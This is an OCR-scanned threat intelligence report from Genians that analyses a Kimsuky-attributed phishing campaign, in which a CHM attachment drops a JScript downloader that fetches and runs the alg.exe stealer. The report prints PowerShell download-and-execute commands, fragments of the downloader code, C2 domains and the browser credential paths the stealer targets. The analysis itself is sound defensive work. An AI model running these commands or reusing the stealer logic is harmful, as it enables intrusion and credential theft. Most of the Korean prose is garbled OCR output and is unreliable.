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1. 7l (Overview)
1.1. ¢ AlH (Threat Hunting)

O ALAA AlFe|E| ME(O]SH GSO)= AEFE A7 I

A Al 0| (Phishing
Mail)g £ 2 CHM(ATIYE HTML E22 0 A SESH=

D HO |_—_|_A

o= T
ZaRiEUCH 220ls 28 YAt EYAE Atde RZE1D A0, XS7HA|
FAret S20] A &5 USL[C.

O 0|0 w2t GSCOMe “DarkHorse’2t= Operation Name2 2Oid| 34S
ZAHSID USLCH YR BMIIER Y CHM 329l BjS2 APT378 2Alst1
A, Kimsuky©l RAHJO| LAEIBA APT370| Ofl Kimsuky1E0l 3ZH)

Hi®=2 Y2 AS UL

S Jazi Q Kimberly

Looks like
dbins secure.chm

aaeb059d62c448cbeadcfo6fibbfefa sgic_info.chm

bObed133fa08e36d05f0361aefab¢chd1
alg.exe

150e53a8c852ac523f4T: f452542
easascosac acee powershell iwr -outf %TEMP%\alg.exe https://drimby].Jtop/wndfi

https: //atusayl.]lat

cmd.exe /c powershell iwr -outf
C:\Users\REM\AppData\Local\Temp\alg.exe https://atusay[.]lat/kxydo
& start C:\Users\REM\AppData\Local\Temp\alg.exe

O dlig 542 2022'F = 7k At & AIY MB JHE J710|= 2 HE2Z Al 2fs
20238 SIEV|FEE F2 58 AAYAMA IIE 0|8%t: 2y L 2= 2522 o

0
o
2 Ef0te] 220| £35 1 Y LCt

= o 1o
_-I,-|'7I-E (==} T o N

o =

i

'X(ELE) A= 1/ X(ELIE) AA= 2

Genians Security Center 2


https://x.com/h2jazi/status/1681122432000618499?s=20
https://x.com/StopMalvertisin/status/1690399427255758848?s=20

Genians Threat Intelligence Report

A FEHO(C2) MHE T53ll 34 S SHIYLIC 0|=, 34 The
A0 e U89 ofd IS A&l oo 7[8F AL|Of I|-d (Spear
5t

O g CHM 42 UWR0 ZAst= HTML I+EQ
AL =7|0= sy £A3EES VBS Iig= 112
UAUZ|TL, 0|20l = 24 JSE? THYS CHM Thof| FHI
SUCH

||
JO
o 02
_O'E
rr
2

ol
PN

2. 324 AlL}2| 2 (Attack Scenario)
2.1. &4 S5 (Attack Flowchart)

O 342 Ol HIg S Salf AIAED, CHM WE2| ofd JSEMYAS Sl 32At2| C2
MEOM SR ETt LH22E &= HEIE 7HA| 2 AGLIT

P - /] A|
ol —» y [=| Zomt (=

Phishin
Threat Mail 9 CHM Docs .jse
Actor
|
S . 3

C2 Server Malware

2 JSE ]1|:OI
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2.2. 27| 2 SHA-O) 4! (Initial Access-Phishing)
O 20233 8E 34x =W Ed YA E Atdlsh 28 A d&te = 7paet O|H|YS
2 SARAOA EEet A2 SIS L 220l 22 o|HY= f{&st ¥F
MUs 2L = AWSE S Rt EL O

O 5 OY2 012 O|H[E AtAoff dF e AAH 2O|R[T, dA 2= dFE AAEH
CIZRIS BIotA fIdstl ASUCE siid dAE 22e 39 3447 2% 2

M- o o =2 =212 O —
YIAHO(C2) Mo HZ = ofd &= OO CH22E gL T

A2} o of donotreply@sgibn.cam
ol https://honess[.]fun/0e650c610b7e1075477745755b
Ct22E 3 /download
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(@) Genians

mm f ns ~ - - = . n =i
# Reply || € Reply All v || & Forward || (3 Archive|| @) Jun Delete ~
donotreply@sgibn.cam — — I : = : = |0 ete|| More
To @navercom & 2023-08-01 27 10104

AMHo| HFEEA ofsiE WL SLT

He 17 170k BEHE O|OIX 2 E7|

n sgic_info.rar 170KE L ® X
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2.3, Azt al M5 EMM (Reconnaissance & Discovery)

O BHE £AATL 001 LS SRR 20I5H7| I3 2 HIE (Web Beacon)
0[0]2| E4DS Oloi|Y L0l ArQIBISLICE ST & B|R0| 23 FAL RS
RAR 2% THIO| CHRRE 23 240t 22 Z0QI0] SUSH AFBRSLICH

[PV =]

'font-size: 14px; color: #lele23;" 1<
total_volume" sty px; margin-right:
font size: 14 : (146, 146, lib, 0.7);">170KB
href="https://ho s .fun/0eb650c610b7e1075477745755b/download
text- decoratlon -
button" cl ffect" styl vertical-align: inherit;
14px; cursor: | ~; color: c; background:
t) nt; border: ; padding-right: x; Line-height: 12px;
border-right: 1px s d (171, 176, 179, 0.2); letter-spacing:
DEXZE
pe="button
Adpx; cursor
border:

vertical-align: inhe
c; background:
; Letter-spacing: -0.6px;

>

ss.fun/0e650c610b7e1075477745755b/image"” style="visibility

; font-size: 13px; float:
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Spear Phishing Attachment)
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3. etdojel =M (Malware Analysis)
3.1. sgic_info.chm

O RAR It LYE0|

Q2 &l oF CHM THo| = of2fef ZaLict

opl ™ sgic_info.chm
o 37| 118 KB
MD5 d8fde512981c2e3f6f9495a857de54ee
[H 3-1] CHM I MM HE
= o SHS o = &
O olie CHM IS daligh B, AFRAI| QA2 T|st7| ol A £ 2 A|eF
=15 = oo (=) I_ =
SO = 2 CHUES 2 F, HTML OHY L0 etz Qs b ATEES
S2tAZHct
1 g =y -
oy
Ezgfﬂjﬂotﬁq §b!olLH:
= j= ¢ | ¢ __"
momm wed OIEHMTAM SARLICH
OB 20 EH M2lsr0 Creret B8 MH A8 BE812 #6H0 o = =idls i Olel B2 &LIC
BEHEEE EHOUERAT B T-5X(EEAES ZA B) M A 420 2HEHA TetlE SHIZSEM, 2XMIWA ISk
SHHS IHEE OHEDN 0| SHHEHR SELICH
TN B W VIS, WO SR ESEEHYAE § 200, 8 JFE Ol NS 2SS HEE DEL Fall
CkH
HERE N ek
33 AR EHORE MEHT ] u
HyENE3Y 33,000,000 L4l el | 20200228 ~ 050221
Baus wana 2ENY
F SIS AETE 0N e FHD@: HEHSEE
H 2 2EAE HEAZ
Y ANEE SMTH T 2F0M
BN (SEAR 0 " D EEENAE (FEEHAH - ) = DB ME 1]
228tAALE A= = FHOX JHAM EOUUEN 20 1M ¥ THMUA-HSTH WM IS HES
ZHEAS SEOENDE ST HEE 5 SaLICH
HEeRR ] S UNE AU HIY BEISEM. O MEW] DEE T S SHAEIEE HAE OB 268
LICE SARLICE
(1% 3-1] 28A% 3 B2 233t o4 CHM Tt
8
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O CHM 2 @& A A0l Microsoft HTML Help Workshop® & E£3ff CHM
mhelol &4 i 8 0] 2ASIE TEE H0T 4 S
4 HTML Help Workshop - o %
File Edit View Test Tools Window Help
D= e &
< Logt E=RCH =)
CiUsers# #HDesktopWCHMW1 1630670711

Waar3Tel3doc8cfeT1944c 34290927 ac~Weaic_info.chm

Compiled file version 3
[Compiled on August 8 2023, at 330 AM|
Compiled with HHA Version 4,74.8702

TFIftiMain 0 bytes

FOBJNST 2751 bytes

Folder: $WwWhassociativeLinks
Froperty 4 bwtes

Folder: $#WWieywordLinks
Property 4 bvies

Docs.jse 3,620 bytes

sgic_info.himl 173,245 bytes

2 folders, 6 files, 179,524 bytes

[212] 3-2] HTML Help Workshop = 3}H

O E8, CEMY 7152 S5 CHM Lol ZaiE DIUSS 223 248 4
Q&L 3T o CHM IS CIZTY 3 Z2 JSEQH HTML THAS SHolst 4
Quect

HEt EFE 2023-08-08 27 8:30

7. 3.43KB

|II |

Docsjse
S JScriptE QIECE AIYUE MY

e sgic_info.html

(03 3-3] CATAS S5t L

—

|II {¥

Hoh 25 2023-08-08 2°F 8:30
7| 169KB

H

|,OI

=
= =

i

3 Microsoft HTML Help Worksh
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https://learn.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-downloads
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3.2. sgic_info.html

Threat Intelligence Report

O CHM TS A3st 242, LR ZSE|0f Qs HTML THUo| AsgLct,
o|f, HTML T} YO SHEHOf| 2AHBHE OfA ARYET A= =20 AlsH
=

O 271280l hh.exeE

wscript.exe2 AGHEHL|CT

.location.href),

inner
inner

inner
inner
inner

S35l CHM oHUg “C:
ClEIE UL o=, ETES Sall 2

inner

sersW-PublicWLibraries” Z 20|

-.ég Docs.jse Ot =

[A& 3-4] HTML WY& A3 & E

mm
WORKGROUP \ user

explorer.exe
parent process

hh.exe
process

3 file event

—
= hh.exe
process
2023-09-27 13:52:25 O ChildProcessCreate &
Houe

—
T

r:

Event Time 2023-09-27 13:52:25

Event Type ChildProcessCreate
Process Name hhexe B
Process Path  CwWindowswhh.exe
Process ID 5548
Process User ID user
integrity Level MEDIUM
Child Process hh.exe B

[Command Line

Detect Type

Custom Tag

e L

83 NZ 2023-09-27 135226

X Az m} Misc

g

gD T1218.001 - System Binary Proxy Execution:

Compiled HTML File (Custom_00001)

B ¥

dEle 100%
T1218.001 - System Binary Proxy Execution: Compiled HTML
File (Custom_00001)

(13 3-5]

Genians Security Center
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t5

S5t7| 2I5H Microsofto| A 7HY
Ol 37h=|0] U= LY =72l

Genians
2 E%

A
T MYy .
clkmk

T -1.~bPxPZIPI kR
ZKN+v 1k kb#I@H#@&P~~,
?DDrxL 6DG:;41MZG[
Vd+,r6Pcm/

3.3. Docs.jse
O JSE It Java Script It
o|AC| HiHO 2 L=3}g| Tl
scrdec18-VC8.exe's Saoff &
N c*&#l@#@&PP~~
JPn5k+PFw, C/1rbPx{P28&#,m, xPUY .k
{'~&1b,m~{PUYDbxT
-?D. M: ;tm.ZKNn™ O*bI@#@&P,~P v/
D/G9+ vC/
<bP ' [, 1d*bkP@!xP0O!#,*~" , ?DDrxL

._pr@#map;n,
[LPLdlkkM |rPXG*'lP
Vd+, r6Pc+*, @1 ", 1k
0G, @!xPCd1krPL " Pm/*rbP@!x~8
p@#@EN@#@E@HER - IMPhk~xP +SP)
+h,b10k7+pr(Ln"

1kk, *{~FycbP1
c&F#
3
"E#tp@#@&\ CD~d1nCY4-

a]+TP

3
WMz ;41N
OMWhZAL. [KN+vTR*i@H#@
R4T@H@&PP~
* " CdikrP
P3P *%1 @#H@& , PP, nVi+Pbli~
mdmbkP
lYLLv1IH U4P —Hm6n
8 mD™ L™ E#IQP
@EL@#E&-1M~1Ds, * :
lwak YdP’PNfG V+0?anmblsoKVNn.v
,Lcd3 s\Kx( K\t }(r{K1\HMHxbr 14t IMC( -0t saXsel(
@UE%- IHP x D)
PTL]DUEHVJyDYbP)

. hPz*Yb\+o68L
~:alx; mX\hE*#i W’
bP3~T" ELY vuX XE#pﬂ#@&I%ﬂ&\
0S4w™epxB3al sp60sddoetULehkSYh6Ebp@#@&\m . PM+LPHw+~x, oc]ttv H 1*1@#@
xYJjTP{PovEutk4 +D“+kFPcI(Lh4wsv&P1~](oAta:
GreT@4@8@s@RW; mOkKU, kdj&v#PP@#@R~P71 _Palo4,
bI@#@&P~r6Pc"6dKRoKVI+DABbdYk™ 21Dtbb,D+D;D
BGVINnD, ' ~WkWR ! nDsGVINM™ 2mY A1 @H#@8& , ~\mD~/ ! 40G*N+MdP{Px
Dd#p@#@&P~6WMP™ pPedE (sGV9+.dc1YAUNvV#i , d ; Swl" NnDd W-+gn6D bb,
@& ,PP,rWPv/!14 1Ch Rrx9n6 ;@ {~Z#~M+DED

Es+. 10GM" WWALHMRS 3 (sWs[
{P/14wGVI+. [ckOns" #p|
5 1Dx,

SP~\m. L, /5 (

Anate#lT!Y
PBmsd+p@#@&P~\C. ,

i@#@& , PNG#@&PPMnY | Dx vak+p@#@&q@mm&mmm&wE
[Y=ElSE

(22! 3-6] 2
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https://gist.github.com/bcse/1834878
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ctiveXObject(g("R
ActiveXObject{z("VY
ActiveXObject(z(""

(path)) return
(path);
i Enumerator(folder.SubFolders);
subFolder 0 ibFolders. M {
sub = subFolders.
(sub.Name. (z("Qa") = @) return

rn

Genians Security Center
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O B JSE U2 017 *‘makeAjax’ E4-2 AHFLICH ST B4s 222t
C2 MB{0| GET 232 HAFILICH BIoF (2 MH{ZEE 2415 SF 227}
200(4B)0IY, MHREE £415 2 TH22| Body BIO[EIE %tmp%ZZ0f

alg.exe 0|52 = &g/

O 2roF, alg.exe THYUO| A Y& B20i| SISt HTMLE| A3 FEO|A MdEet
QUAZLO| ZAHTICHH, 22| AE2[0f 3 JSE Y S SFLICE 5HR|2F “scReg”

T HA|Z| GOt oY ZE= LR FE LT

(url, path, paramLen) {

xhr. (g("BZ0"), url,
xhr. (e("Plx
xhr. ();

if (xhr.status 200) {
var stream = new ActiveXObject(g("V
stream.Type 1:
stream. ();
stream. (xhr.ResponseBody) ;
stream. (path, 2);
stream. OF

if (path) && paramlLen > 8) {
(scReg, scPath, regType);
}
1
s
1
J

(url, appPath, .Arguments. length);

[12! 3-8] makeAjax &t

Genians Security Center 13
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O 2 MHO|M CH22E &|= “alg.exe” IHE S HEotR| RYUA|T, T
U0l A[LA 7t YAl Al IS A|TL R (*MZ)7t OfLet= AS
7 AGULE Ol 2o £249| ER[E T|ot7| et YYo= EYL|Ct

Ho
HU
N
m
rr

00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text| CIOIE HE7|

E3- E B
Int16 0| 23‘.E
Uint16 Ol 237

ep 1
var stream = new ActiveXObject(g("VYJIYW|Nmkxtf")); // AD
stream. Type 2;
stream. OF
stream. (path);

ar data = stream. OF
chr = data. (0) & oxff;
buffer = - 1]
r i 1; i < data.length;
var code = data. (1);
buffer - : (code);

¥

file = fso. (path, 8, );
file. (buffer);

file. OF

// Step 2

stream = new ActiveXObject(g("VYJIYW|Nm
stream.Type = 1;

stream. ();

stream. (path);
stream.Position 2;

var data = stream. ();

stream. OF

stream. OF

stream. (data);

stream. ile(path, 2);
stream.

return chr

[212! 3-9] modifyApp gt

Genians Security Center 14
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O 0%, AE|E 5V3" 34
‘C:/Program Files/AhnLab’ 227t Zz15} =0
Z47F 2Act=A| 20lsl Z2AH0| W2} Truelt FalseS BtakgrL|Ct.

(path);

var subFolders = new Enumerator({folder.SubFolders);
For (; !subFolders. (); subFolders. () {
var sub = subFolders. OF
if (sub.Name. {(z("Qe")) >= @) return
1
return

1
J

[ 3-10] isV3 et

O 0|8 e ¢ﬁwFm%—ﬂm%MmeEEVBEHHZMﬂ-omﬂgg
alg.exe2 ASEH|C} True2 BIEHV3 Z2G 7t 2AH) & AR, A|AEIO| A2
alg.exe/t 2 & UAEF X LE2] A5 L E=0 ':EoH.u:}

[[H

) ws. {appPath);
(appReg, appPath, regType);

Genians Security Center 15
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2 file event

file event

w22

RunScript <
AMSI

2023-09-27 13:53:04 Docs.jse

hh.exe —
arent process

P p F+HHE

Event Time 2023-09-27 13:53:04

Event Type AMS|

Process Name wscript.exe

AMSI Info HE7|

IFileSystem3.GetSpecialFolder("2");

IFolderPath(;

IHost. Arguments();

IArguments2.length(;

IwinHttpRequest.Open("GET", "https://cheth.lol/aigaj”, “false”)

IWinHttpRequest.SetRequestHeader("User-Agent”, "Mozilla/5.0
wscript.exe (Windows NT; Windows NT 10.0; ko-KR)

pf,bcess WindowsPowerShell/5.1.22600.1200");
7 IwinHttpRequest.Send();
N IWinHttpRequest.Status();
7 IFileSystem3.FolderExists("C:%Program Files¥¥AhnLab™);
7 IwshShell3.Exec("C:WUsersWuseri#AppDataWlLocalWTempWalg.exe™);
’
L Tag Injection
’ ‘ Custom Tag AMSAHES fOE LEHOHR
<
e
- oY e
@ File Name Docs.jse
MD5 83f027036c2879a12dd332c2fd50cc01
2 ﬁ'e event Size 466 Bytes
File Type SCRIPT
o ya
VirusTotal

(12 3-12] AMS| & E5 A3 AJZIE EfZ

Genians Security Center 16
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3.4. alg.exe

Threat Intelligence Report

AFet CHM 2Z0||A “alg.exe’sh= IHAHE 7121 RAT S39|
ME RIS LICH

alg.exe

64Bit / EXE / .NET

a8c5fc1b5fd0f45¢c1598dc78204b72f6

D:WMyProjectsWSelfTrainingWCsharpWReconAp
p-FinalWReconAppWobjwx64WReleaseWalg.pdb

plifty[.]lat/uEH5)

internal c

public

static string

of YT 2AE2 Al € 24 = TIst7| fIsH [AES-256 + BASE64]
2o} 2O USLIES

050HS+ 1 BHxHwkHOT 4]

{string encrypted)

Decrypt. ivd:

return result:

Genians Security Center

17



Genians Threat Intelligence Report

S50l WSt KEY, IV 2t2 “Unknown error...” 2A1E 2 2M8 &5H51H7| 9151
01|E1 oA 22E 2 Aot JELCE ol EE Soff LE AL Y T2 110l
CyberChef°2 =3l YEE &0l 4~ Q& LTt

Recipe < Input + Oz § =
7Ir3prXxalNrYlTrpYldoalY/joOH905DrqVDmtnygBmu/EJ6cPMmFB2
From Base64 .
7VH61Qlsg
Alphabet
A-Za-z0-9+/= -

Remove non-alphabet

chars static Decrypt()

ey = Encoding. .GetBytes(["Unknown error..."|)

[ strict mode r ¢ = Encoding.

AES Decrypt

Key

Unknown error.. UTF8~
Y mc 64 =1 Tr Rew Bytes 4= LF
| TF3~ |«
Unknown error.. u
Output BOm:
Mode
CBC |\AppData\Local\Google\Chrome\User Datﬂ
nput
Raw
Qutput
Raw

> CyberChef ¢l AIO|E

Genians Security Center 18


https://gchq.github.io/CyberChef/
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O e YRt MHE HL, HA “C:/Users/Public/Pictures” Z20]| 215t
OAES 712 A E TS st B2 H0IHE SET zip T2 0|82
o= At

GetLogPath( )

folderPath =
ialFolder.

.pathLog fold ath + "
. pat folderPath + "H##l"
HainProc.fs =

Genians Security Center 19
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O LZ22 AAH0| 25k E2t0|E9| Bttt =5 2fE & IHE A|AH

2 2 9
YEE +UFLCH

on

O 0|=, ‘Program Files/Ahnlab’, ‘Appdata/Local’, ‘Appdata/Roaming’ 2229|
of ZAst= It L 2| 0|t =& AIZH L 37| 52| Y2 E 0| by
of BllAE THIOf| A &etLCt.

private woid GetExplorerinfaof )
this.winbrive = .
Orivelnfall dri = Orivelnfao.
foreach {0Orivelnfo drivelnfo in driv
MainProc. fs. WriteLine{drivelnfo
Ma inP Iriteline(" Drive tvp
if {dr )
MainProc.fs. WritelLine™ “olumn
MainPro : “itelinef” Fil
MainProc.f=. Writelinef Total size we o {0, ' izeTol
(dri . ¥
Ma i nP WriteLine{" Total a space  {0}", i eTodtring
rdr nfo.
Ma inP ~itelinel” Available space to current user
this eTostring{drivelnfo. 1

MainProc, fs. Writelinef b

foreach {Orivelnfo drivelnfo2 in dri:

. this.ExploreDir{drivelnfo2, , tdrivelnfoZ, == this.winlrive) 7 2
o

redir{this.windrive + Dec . { "TUEep3ZOKhOLLYKJR
ilsdpdyyL4n3hgOAEWF4="1], 5

redir(this.winOrive + O
1/ 40b0PBJ1 T 1WH i DWYE

"Name + Decrwpt.
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O Of22 2 Edge, Chrome E2t22 2| Web Data2} History & Bookmarks S22}
T2 AIEAIS| &5 GIO|E7F HEE[0] /U= MAUSS oo Y= THUol| 2 7FLCt

ZipProfileHistory(

(path})

f path2 . (path, "Extension+”})

Explorediri{pathz, 1, 0

(Exception)

pathZip.
pathiip,
pathZip.
pathfip, “#iLogin O
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= 8 file event

file event

0 FileRead A
2023-09-20 10:56:00 © Web Data “

. X0 A] EH
. S

,-" 2 network event T
. outgoing
. Event Time  2023-09-20 10:58:00

, Event Type  FileRead
Process Name zlg.exe
Read File C¥UserswuserAppDataiwlLocaWGooglewChromewU
er DatawDefaultwWeb Data
Detect Type

Tag LateralMovement PasswordDbStealing
] 2151

~ Custom Tag APEXHES| EY 9.

~ .
alg.exe . o8 Y
process s EHX| A2 2023-09-20 10:56:03
\\ A Ay LateralMovement
K o
‘\ . ZID HE 2= DB ¥ B9 (PasswordDbStealing)
CL R alg.exe
@ HFE 50%

LI - To G T1041 - Exfiliration Over Command and Control Channel

8 file event A% %= DB 23 WY (PasswordDbstealing)

A3 BALFL Y SA0|AET BAYC XS Y 7IsS
MZSHEA MERE0 YAOIES 210 A 2 ASE
SRS METHE WL ROL SHXIT, AT B A
/ 2= DBE L5 IE €7 YES UG T
FAOIE/HE0] BT = YA B0, S¥T AR/LTE
Olgsts C1E AZBTR| 32T + AUCH M2AA 2S4LFL
Ty 20| EL HAUC D30 LfE BE BTYUS B2
SLEZE0{0; BLL

2}O|YES| MY U= DBLUS EAL/

R
H& o

[O2 3-19] ¢l B2t O £~2! EFZ|
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Genians Threat Intelligence Report

O &g, 2|20 ArEAt7F O TS SRS =2] THefst7| 2fsh

H
=2 o

AppData/Roamlng/l\/I|crosoft/W| dows/Recent’ B2 512|9] E% oy 4 =4
4ol &= ool 7L Ct 0|=, ofeffe| =0 s

E“ﬁE ﬂf.%'oil A&,

GetRecentHistory( )

ves FyRbH i j0XbYm3HEZo |/
{ "BDUZURH:

GOMMC4 ] i ZEGMnMaLUFzZ1tE01 CTYRAMI tkSpdLikEr

chinodZLOER

HainProc

.pathZip, .pathlLog,

z= CE:
Software/Microsoft/Windows/ShellNoRoam/MUICache
Software/Classes/Local Settings/Software/Microsoft/Windows/Shell/MuiCache qsist o8
Software/Microsoft/Windows D=7 48

NT/CurrentVersion/AppCompatFlags/Compatibility Assistant/Store

Software/Microsoft/Windows
NT/CurrentVersion/AppCompatFlags/Compatibility Assistant/Persisted1

Genians Security Center 23
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TH=2 o =
£215 2 0[S 3
(©

O HI0|E] 22 &2 AL, WebClient 22125 &
2

Ato)

4 C2
A
MAMSHEIAE 1D} Q2 TS

O O

Random random = T
int num = random.MNexti
ti= 0.
le (i = num)

) E num2

WebClient webClient
webClient .

text
webClient.

of
o

MHE (pliftyl. ]Iat)

AFAI LI CY,

nae( webCl ient.

webClient . Uy

Genians Security Center

Threat Intelligence Report

HTTP POST
SEUL

‘m=data.
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@) Genians

Threat Intelligence Report

alg.exe
process

LT HEH3I ¥E E=2
ll Event Time  2023-09-20 10:56:01 ~ 2023-09-20 11:1519
-~ 2 network event e
outgoing (198 SO EUH
‘.' Event Type MNetwarkConnect
," Process Name zlgexe B
DNS Mame  pliftylat
Protocol T-C3o
Direction our
Connection
- 193.19:55773
-~
-~
® .
b ~ @ 46.88:443
~ liftylat
N @ plifty
\\ Custom Tag ETHEL OIS USEGHYE
.
\ ole g3
@
A VirusTotal
\ Criminal 1P

8 file event

—
i= 2 network event
outgoing
= 7 A
NetworkConnect a-
2023-09-20 10:56:01 46,88:443 v

apeiue

Spamhaus.org

Spamcop.net

Cisco Talos

SC Source/Subnet Report
WOT Security Scorecard

MalwareURL

[213 3-22] C2 M HE B

oaE Azt

2023-09-20 10:36:02

2023-09-20 10:36:02

2023-09-20 10:56:00

2023-09-20 10:56:00

2023-09-20 10:56:00

OHIE 44 27 O|HIE goF
FileDelete alg.exe
FileDelete alg.exe
FileCreate alg.exe
FileRead alg.exe
FileCreate

Z 24 A7F CWUserswPublic#Pictureswxvqiw3upOyn.zip T2 & AHFHSLICH
T2 M7 CWUserswPublicwPictureswa1womnhl3gl.bet THE
L2 M| 27 CWUsersWPublicwPictureswd1womnhl3ql.bet TH
I 24|27 CWUsersWPublicWPicturesixvgw3upOyn.zip It 2E Read & L(CH

alg.exe 24|27t C:WUsersWPublicPicturesxvgw3upOyn.zip T2 &

o

AR FE L

=1 A

o

BETEULL

HERELC

Genians Security Center

[1& 3-23] Of2

E| AHAH Ol

dd 2 A O[HIE
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Genians Threat Intelligence Report

- 2023-06-10 23 5:05:19

CURRENT - 16 Bytes

BEOOIZ  FEA2O0E . ERdE - 0 3= =29y
LOCK - 0 Bytes - 2023-06-10 23 5:05:19 ® S | i S
LOG - 289 Bytes - 2023-06-10 23 5:05:19 wvz EEET B us o omm . =77
MANIFEST-000001 - 41 Bytes - 2023-06-10 2 5:05:19 e 1 - =2 Dezes
EVES A £7 BAYY
C:WUsersW ¥AppData¥LocalWMicrosoftWEdgeWUser DataWDefault € 3 v [l Wec> BEOAI () » ABR > B8 > BB AT » vl o =
WExtension State
000003.log - 570 Bytes - 2023-06-10 2% 5:05:21 P ~ 41wemnhl3glb g
CURRENT - 16 Bytes - 2023-06-10 2% 5:05:19 — J HAE B I
LOCK - 0 Bytes - 2023-06-10 23 5:05:19 T 2 A - .
LOG - 328 Bytes - 2023-08-13 2% 10:50:05 C##UsersiPublic#Picturesicvg 1w3UpOyn ZIpHCHUserss #AppDatawlocakkboglenChromer
LOG.old - 328 Bytes - 2023-07-09 23 10:32:22 Hum REE v SRR SR SRR

MANIFEST-000001 - 41 Bytes - 2023-06-10 2= 5:05:19 a
v . d = v W = X i

7t Y5 §I H2E A olE AR &4

C:WUsers¥ WAppDatattLocalWMicrosoftiEdgeUser DatatDefault i
WExtensions r C:#Users#Public#Picturesihovg 1w3upOyn.zipWCUsersw #AppDatawLofal#GooglewChromew
jmiflgjpcpepeafmmgdpfkogkghcpiha - <DIR> - 2023-06-10 2% 5:05:21 LY 27| FECIERRES T ais WY AT ST
Default]
User Data -
*** Registry Keys *** [T History 229 376 16683 2023-08-111...
| Login Data 53248 1666 2023-08-092..
SoftwareWClassesWlLocal SettingsWSoftwareWMicrosoftWWindowsWShell#MuiCache L] web Data 118 784 4921 2023-08-092
LangID

C:#Program Fileswinternet Explorerttiexplore.exe.FriendlyAppName
C:#Program Files#internet Explorertiexplore.exe.ApplicationCompany
C:WWindowstsystem32explorerframe.dIl.FriendlyAppName
C:#Windowstsystem32#explorerframe.dll.ApplicationCompany
C:#Windows¥system32¥shell32.dIl.FriendlyAppName
C:WWindowsWsystem32Wshell32.dIl. ApplicationCompany

[0 3-24] &3 It =5 & SM &

H2 Mo

% USERPROFILE %/AppData/Roaming/Microsoft/Windows/Recent | AFEXI7F 2|20 Aalist I 22

% USERPROFILE % /AppData/Local/[Edge/Chrome]/User Data/
Default/Local Extension Settings

% USERPROFILE % /AppData/Local/[Edge/Chrome]/User Data/
Default/Web Data

% USERPROFILE % /AppData/Local/[Edge/Chrome]/User Data/
Default/History

% USERPROFILE % /AppData/Local/[Edge/Chrome]/User Data/

2013 &
Default/Bookmarks S0I3 &

% USERPROFILE % /AppData/Local/[Edge/Chrome]/User Data/

; 2= HREE] HAH A
Default/Login Data ts AyE AY =

[(H 3-4] €3 OIY ==
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RunCommands

Pri proc
proc .
+0lejhFOof

Genians Security Center

Threat Intelligence Report

cndLine )
Prar

ZnoF0==" 1

indowstyle,

"+ cmdLine:
Encoding.

eadToEndf };
.ReadToEnd( )
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Genians Threat Intelligence Report

4. A= &AM (Similarity Analysis)
4.1 Etd2tel (Timeline)

O GSCE oM CHM THAo| Mah BHojA +BE|E VBS, JSE THYS S5 RS
S25tn 24 Y 242 HHHSLIC)

I HO = A A = o
O CHM 222 S|z A|4HO2 YAE T Qo0 Hot S2M0| &3] U 2jEHS
= = = = [ o A o |l =
Olst7| floh d2F nEotEl= dde L1 USLICEH VBS MAS AEdt= HEH=Z
= 35 [ o = = ==L A O A
A5l 2|20l= JSE THE = A4&85HH, dat Helste 252 20|12 JSLIC
O 20229 Z2E CIYst K82 CHM 30| @aHsion], Powershell 2=}
] (o] = o ol 22 S
dRAEZ F2 L I HY 3= S RAL: HOM St SHAS| 20l o2
- - N
Zgstn AUt
428 (USE1 98 38 (vBS2 R%) 821 Ust 4280
- JSE MU o3t VBS It AZoh=
CHM 22 Ext H I HME CHM - JSENUS otgst=
22 5% H| T 435 CHM
- JRARRA, Z X SASE
gk Y 57 B = 2o, H
Wgoz QE HED S 2 LY - EHAARE G EY
2022 2023 B°ERE BHUgSERE gy
—_
28 (vBS 19%) 128 (JSE2 9%) 7€ USE3 9%)
- VBSTIS oot - JSEIIS otgote - JSE IS gt
CHM 3 5% A WA S CHM 5 #HB 45 CHM
3253 34 5%
- ZIofM, S Jtol=
#H LjgoR 9F - PR BHE LR - S8M EAAE A
OE QI Aol aLigos
=53
Genians
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42.VBS 184

O VBS 1 R¥2| CHM 322 20224 22 2F
Ciefot 822 REISLICH

Threat Intelligence Report

Ao, Aok, et to|= So

e 2SOIE25)2 HIS FoE 1Y

SIS 22 BIE MRSl AFROIA BAISHE

olgtol Al
718 & wsiol
w3

CRMEE DA JRHIAIZAD
P Hbl~ b2

EE

Ern sy wEaE
R npsa BE
ESEpT

202249 18 12 0| F

JIMABE M BololE BT

auc

2 To) TET= BMIYE DA ISRAA R AL
RIS BSOS = B0 2013 B Y H-01% 2 g
ISR AARIADE BAISH= @B Rote] @R Mo S 80

S FEol2lo X IMYH DA AR AYH OIYJJ AI Oﬂﬁd
amn

@ ==z B MAGE User Guide ® ==z - o x
20220 2E] JHAAKE A5-S0Al MZ22 EOIY ME 27171 oy
= AL b<l
e | S ! 3
smmem | ¢ MAGE User T8 (3)

9 Features

[ client sDKs
Configuration

Actors & Sessions|
Archivist

vents

ime manipulatir

@ Production

of Al
SEA20l BAE MM S stelHoz AFS = J'°"°

documentation for MAGE. If you are looking
for API documentation, please have a look at

Questions and issues

I you have a question which is not covered by

Open an issue and request an addition to & 9 Et A0 WELH

If you have some time, please make  pull RI4Z(E2)) 0] FHOIA ALSSte 20j0] Mol T2t 2t
request to enhance the documentation

MAGE is a Game Server Framework for
Node js. It allows game developers to quickly

Haqd
H1E &%

HINZ(4) 0] FHE 00008 *2lA2t BEhel M7 E(O|s “F4"0l
2 stchojat Hetth

RRE(SH) SAs X2 = 29l Uolx Heel JlENel 42e 2uoa |
0] 3% K240| St M0 Ofolol 3FOID YNl wHo2 Wik
of RISl HA# SHo{o} 10, H S| A SOiof B AE BT FEES

=W 230 O #RR BAGES B FHo2 ¥
ABE( e O FHE Mulol BN 5 HAE Aol chetol & 7

Hrt QUM O= HSHLL CHek 0 UM FIHA| Ot A2 =32 Y

1 "E-’.‘—"E} HE XA X SEE HEE VL
“@grojet #e 7|29 8, JutelE, £II5018 ¥ S
3 “Z|2@groet B HEH Y YFA FT e%aw A25le 25

]

J1E20f2 w2 )
“gategrolet g
2w
R30I e GERE4E, RUDLE, HNRIILE, HULE, B
d5 g, 22|54, B, 28H|, 40|38 ik

S0 enn fo memu Zus oemaz Amns MG

2082
=

HE

x

p]
2o
o0
o

I

®

N

®
e

4"
S.
e
6.
gt

s

O VBS 1 Y2 HTML I} LfE
Bl ‘?JQ'—IEF CHME 4 a2
certutil.exe € Sl l:|i%,l =3 VBS ]1}0@ CEA| 2|2
A
o

A5 | flof A&

omman

na It
U2h1bGwiKQ

Genians Security Center

O BASE64Z QIR

I15H5
alolish

[1& 4-3] VBS 1

= ==

